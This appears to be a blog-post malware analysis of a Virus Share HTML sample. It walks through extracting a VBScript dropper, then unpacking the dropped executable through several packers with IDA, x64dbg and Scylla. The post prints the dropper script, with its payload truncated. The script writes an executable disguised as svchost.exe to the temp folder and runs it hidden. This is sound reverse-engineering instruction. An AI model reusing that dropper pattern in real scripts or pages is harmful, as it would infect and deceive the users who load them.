First in a series where we take a pseudo random sample from Virus Share to analyze.
Sample SHA256: 0b74eb0e41ecf4cde71aea773746b3c57e42ffcec4eadc69c4c8038133bf43af
Please exercise caution as this is a live malware sample.
Upon examining the html file from Virus Share, we find a vbscript dropper script at the bottom of the file. Upon first glance it appears to be commented out using
-->; however, comments in vbscript start with
'. Interestingly enough, after running a test (first with the html comments in place and then without them), the html comments inside the script tags have to be removed in order for the script to run in IE 8. Not sure how the malware would be delivered when surrounded by html comment tags. But for now, with this preliminary analysis done, let's move onto writing the malware to disk for further analysis.
The dropper vbscript script takes a string of text (hex values) containing
WriteData) and reconstructs the file and writes it to the temp folder (
FSO.GetSpecialFolder(2)) under the file name
DropFileName variable). Please note, the string of characters have been removed from the code snippet below. Once written to disk, it will execute the file with the window hidden.
<SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A...." Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT>
Code Snippet 1 - Dropper script with the value of
The magic happens at lines 8 and 9. Here the dropper takes the hex string and converts it into a binary long (back to its binary representation).
Mid gets the string starting at position
i and of length
2. The value returned is concatenated with
&H to signify that it is a hexadecimal number which is then passed to the
CLng function whose result is passed to the
Chr function before getting appended to the file. The script iterates over the
WriteData string, two characters at a time, and appends them to the file being created (
Reconstructing the Executable
To reconstruct the suspected binary, we will use the dropper to do the work for us with a few modifications to keep it from executing the payload.
Create a text file but give it the extension
vbs to associate it with wscript.exe (used to execute vbscripts). The script below is the same but for line
4 where the
GetSpecialFolder function was called, we removed that. The file will be created in the same directory as this script. And lastly, the last two lines of the script that executed the file are also removed, leaving us with this.
DropFileName = "svchost.exe" WriteData = "4D5A...." Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If
Code Snippet 2 - Modified dropper script to create the payload with the value of
WriteData truncated. Notice the ASCII hex value for MZ (little endian).
Execute the script and poof! we have the payload and are now ready for further analysis.
Static PE Analysis
One of the first things we want to look at is the section headers as they provide additional clues to if the executable is packed or not. This one looks to be packed with UPX.
Screenshot 1 - UPX Section Headers
So using the
upx -d option we get the unpacked executable.
Screenshot 2 - Unpacking with UPX Utility
Now if we look at the PE sections we see:
Screenshot 3 - Unpacked section headers
There also looks to be only three imported DLLs; however, these won't be the only three DLLs loaded. Remember that
ntdll.dll (Windows NT family) is also loaded as part of the Window's executable loading process.
Screenshot 4 - Unpacked Directory Entry Import
Finally, when loading a DLL, any dependent DLLs are also loaded. Here are the modules loaded at run time.
Screenshot 5 - Modules loaded at run time.
Where to From Here
Recall from Screenshot 3 that there seems to be a significate difference between the raw size and the virtual size of
.rsrc. This sample might still be packed.
Taking a look at the imports, there are a number of potentially suspicious API calls. Let's take a look at ones likely to be used by packers.
When looking through IDA, there are no apparent calls made to
There does appear to be a call to
Screenshot 6 - Call to VirtualAlloc
Lucky for us there is only one instance, so let's make the program do the work for us and see what gets written to the allocated memory. Firing up the debugger, we run the program until the instruction after the call, so break at
Screenshot 7 - Allocated Memory Snapshot before being written to
Upon checking the memory tab, we see that the memory segment also has execute permission. So either the programmer is lazy or execution might switch to what gets written here.
Screenshot 8 - Memory Tab Info
Set a On Execute memory break point at that address (
F2). Now run the program (
F9) and poof! bytes have been written into the allocated memory section and EIP is now pointing to the shell code.
Screenshot 9 - Allocated Memory Snapshot after being written to
Screenshot 10 - Entry point into the shell code
If for some reason the memory break point causes an error during the process of writing to the allocated memory, set the break point at
retinstruction) and then single step to go to the allocated code's location.
So what does this de-obfuscated code do?
Memory Segment Analysis
For being our first Virus Share random sample, this one is quickly providing some fun analysis challenges! Before we continue, let's get a copy of the memory segment into IDA for easier analysis. This can be done by debugging the executable using IDA Pro and taking a memory snapshot (Debugger -> Memory Snapshot -> All Segments) when the EIP is pointing to the shell code's entry point.
Screenshot 11 - All Segments
Remember to set the break point in IDA before running the sample as IDA does not break by default on the program's entry point.
Once that is done, stop the debugger and load the saved segment (Crtl+S). In our case it is at address
0x170000. Notice the execute,
X, permission on that segment.
Screenshot 12 - Segment List
For the most part everything should be there; however, a few spots will need to be converted to code in IDA (shortcut key
c at location to be corrected) before the graph functionality will work.
Note: Offsets are in RVA as the screenshots won't match the physical address being inspected as shown in Screenshot 12. This is due to going back and taking screenshots after the fact.
- Offset RVA 0x018C
- Identification - Screenshot 13
- Prior to Correction - Screenshot 14
- Corrected - Screenshot 15
- Offset RVA 0x0783
- Identification - Screenshot 16
- Prior to Correction - Screenshot 17
- Corrected - Screenshot 18
- Offset RVA 0x2E13
- Identification - Screenshot 19
- Prior to Correction - Screenshot 20
- Corrected - Screenshot 21
Next, starting from the entry point (RVA
0x2CA9), follow the first
jmp and switch to graph view and the overview should look something like this.
Screenshot 22 - Graph Overview
Going with the thought that this might be a packer, the
ret at the bottom might be the return / tail jump to the unpacked code. Scrolling up a bit from there, we notice some PE related file constants.
Screenshot 23 - PE File Constants
0x3C: Pointer to PE Header
0xF8: The length of NT Header, thus by-passing the PE Signature, FileHeader, and OptionalHeader and landing at the start of the first section
Screenshot 24 - More PE File Constants
0x28: Section Table Length
Upon doing more analysis, we determine that this is unpacking the next stage.
Exercises for the Reader:
- What do these do?
- func @ RVA
- func @ RVA
- func @ RVA
Unpacking Take 2
- Load the UPX unpacked exe into x64dbg and set a break point at
- Execute until that break point and single step into the allocated code region.
- Once there, hit the
gkey to graph it in the debugger. Scroll to the bottom of the longest section (should be around RVA
0x1795) and right click and select follow in disassembler.
- Screenshot 25 - Tail jump in x64Dbg graph
- Select the
F4(run to selected location)
- Screenshot 26 - Tail jump in x64Dbg disassembler
- Single step,
F7, to follow the return
- Now we are in assembly code for ntdll.NtFreeVirtualMemory, so
Atl+F9to execute until user code
- And we end up here:
- Screenshot 27 - Snippet after unpacking the 2nd packer
- Looking through the assembly code, this looks off:
- First off, the first instruction is a
pushalwhich seems strange, but okay we'll let that slide for now.
- Second, the calls shown are using offsets versus the function's name.
- Upon inspecting the PE file headers, we notice one of the headers is call
UPX1. Is this sample packed yet again?!
- Screenshot 28 - PE Header
- First off, the first instruction is a
- Armed with this knowledge, proceed with manually unpacking further like if it is packed with UPX.
- Scroll down until there are no more actual instructions and select the last instruction, a
- Screenshot 29 - UPX tail jump
F4to execute to that point and then hit
F7to go to hopefully the actual OEP (Original Entry Point)
- Screenshot 30 - OEP
- After checking the IAT, we see a fair number of imports. This looks better. Going to go out on a limb and say it's finally unpacked!!
- Screenshot 31 - Import Address Table Snippet
Dumping the Unpacked EXE
Before wrapping up this article, let's finish by dumping the executable. Starting where we left off unpacking, open Scylla and after making sure the OEP matches the EIP, click
Dump. Once dumped, rebuild the IAT. The
IAT Autosearch button should work in this case or manually find the IAT and enter the values in Scylla will work as well. After clicking
Get Imports the imports are listed. If no errors, hit
Fix Dump and then select the file that was just dumped and we are all done but for the verification.
Screenshot 32 - Scylla
So now let's make sure it works. Open the fixed file in x64dbg to see if it loads with the same OEP. Also check the section sizes (significant size difference between the RawSize and its corresponding VirtualSize) to see if there are any obvious clues to if the sample is still packed.
Screenshot 33 - Dumped file Section Headers
Nothing sticks out, so declaring this unpacked (for now).
Update: The above dumped file appears to load correctly into IDA; however, to get the dumped file to run correctly, it will need to be re-dumped at step 7 above. If not, it will throw an error during execution.
During the course of unpacking this sample we saw how to:
- Extract the sample from the html page using its own VBScript against itself
- Unpack it using the upx command line tool
- Unpack a second packer of unknown origin using the debugger
- Unpack what we are assuming to be UPX again, but this time using the debugger
We end this article with reasonable confidence that we have the actual piece of malware fully unpacked and dumped to disk. Hopefully the thought process and methodology presented here makes sense. Please leave any feed back in the comments. This article will link to part two (analysis of the dumped file) once that analysis is complete. Thanks for reading!